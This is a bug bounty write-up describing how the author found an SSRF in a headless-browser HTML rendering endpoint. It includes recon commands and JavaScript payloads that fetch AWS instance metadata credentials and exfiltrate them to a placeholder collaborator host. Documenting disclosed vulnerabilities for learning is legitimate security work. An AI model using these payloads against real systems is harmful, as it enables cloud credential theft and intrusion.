CDL Logo
Published on

A Fun SSRF through a Headless Browser

987 words5 min read
Authors

I found a Server-Side Request Forgery in March 2022 (well, more than one luckily)!

But let's talk about the coolest one. So you can learn.

I don't like talking about bounty amounts. (It's ok if you do, we all get excited)

Instead, I'll show you how I found it:

The scope of this program was *.███.com (Sorry, I can't disclose it!)

With a wildcard, basic recon is: Subdomain Enumeration + HTTP server probing:

$ subfinder -d ███.com | httpx -o example.httpx

httpx gave me 300 results and one stuck out to me: https://rendering-prd.redacted.com

"rendering" stuck out to me. Why?

Render means to "process information".

Often to another format. With web apps, it's typically HTML to another format.

Next, I issued an HTTP request to the host:

$ curl -sk https://rendering-prd.redacted.com
< --- snip ---

< <pre>Cannot GET /</pre>

NodeJS/Express!

If you see this, it's NodeJS.

Or, if you see the header => Server: Express

Well, what do we know about NodeJS web apps?

Look at the following code:

express-example.js
const express = require('express')
const app = express()
const port = 80

app.get('/one', (req, res) => {
  res.send('Hello GET /one')
})

app.post('/two', (req, res) => {
  res.send('Hello POST /two')
})

app.listen(port)

Routes are defined explicitly.

In this example: You must:

  • GET /one to get a response.
  • POST /two to get a response.

So, it's necessary to brute-force with API routes and dictionary words. Look up @assetnote's research on Contextual Content Discovery.

Also, you must brute-force with different HTTP methods. I use ffuf for directory/endpoint brute-forcing.

By default, ffuf uses the GET method.

So, I started with that and filtered by the number of response words on the 404 page:

$ ffuf -u https://rendering-prd.redacted.com/FUZZ -w english-words.txt -mc all -fw 6

This resulted in nothing. Cool.

So I brute-forced with the POST method:

$ ffuf -X POST -u https://rendering-prd.redacted.com/FUZZ -w english-words.txt -mc all -fw 6

render         [Status: 400, Size: 17, Words: 3, Lines: 1]

It discovered the endpoint /render which accepts a POST request.

It responded with "400 Bad Request". This means we (the client) made a bad HTTP request.

So what are we missing? Typically headers & parameters.

Start with the error message! I copied the URL.

Went to Burp Repeater:

  • Right Click => "Paste URL as Request" - Changed GET to POST.
  • Issued the HTTP request.

The error message said:

"markup is invalid"

So, I added markup=aaaa in the POST body:

A different error message!

"render failure"

What is it expecting to render? I thought Markdown. So, I put the following Markdown in the markup= parameter: # header

POST /render HTTP/1.1
Host: rendering-prd.redacted.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded

markup=#+header

Response: "render failure" Hm. Not that. Maybe HTML?

I gave it HTML instead: <h1>test</h1>

Response: HTTP/1.1 200 OK

We're in business! But what is rendering our HTML? Probably a headless browser! Let's see if it will execute javascript. Hopefully!

I gave it the following HTML: <script src=hxxp://BURP_COLLAB/test.js></script>

Success. I got requested at /test.js with the User-Agent: Chrome/75.x.xx

Running "whois" on the requesting IP address showed it was from AWS.

AWS has a meta-data server at 169.254.169.254. It can be used to generate temporary access keys to an AWS environment!

I hoped the browser didn't enforce the Same-Origin Policy.

The idea is to send 2 XMLHttpRequests.

  1. To the meta-data server. (to grab the IAM role name)
  2. To our server, to exfiltrate the data from step 1. This violates the Same-Origin Policy.

But sometimes, headless browsers don't care.

So, I wrote the following javascript:

steal-iam-name.js
x = new XMLHttpRequest;
x.onload = function() {
    l = new XMLHttpRequest;
    l.open("GET", "http://BURP_COLLAB/" + encodeURIComponent(this.responseText));
    l.send();
};
x.open("GET", "http://169.254.169.254/latest/meta-data/iam/security-credentials/");
x.send();

And made the headless browser run it:

POST /render HTTP/1.1
Host: rendering-prd.redacted.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded

markup=<script+src="https://myserver/pwn.js"></script>

The server responded: 200 OK

I checked Burp Collaborator and it worked! My server had a request to /main-production-worker-iam-role.

Let's grab those keys! I had to edit the javascript to include the role name in our request to the metadata server:

steal-keys.js
x = new XMLHttpRequest;
x.onload = function() {
    l = new XMLHttpRequest;
    l.open("GET", "http://BURP_COLLAB/" + encodeURIComponent(this.responseText));
    l.send();
};
x.open("GET", "http://169.254.169.254/latest/meta-data/iam/security-credentials/main-production-worker-iam-role");
x.send();

One last final HTTP request:

POST /render HTTP/1.1
Host: rendering-prd.redacted.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded

markup=<script+src="https://myserver/pwn.js"></script>

The browser sent the AWS Keys to me!

Finally, I verified they worked:

$ export AWS_ACCESS_KEY_ID=
$ export AWS_SECRET_ACCESS_KEY=
$ export AWS_SESSION_TOKEN=
$ aws sts get-caller-identity

The keys worked. And Scout2 proved it was impactful!

Here are some lessons from this story:

  • Context is King. THINK!
  • To break you must first understand:
  • Know your target's technologies & the services they use.
  • Learn to code.

If you enjoyed this story, follow me on Twitter and sign-up for my newsletter for more!

Corben Leo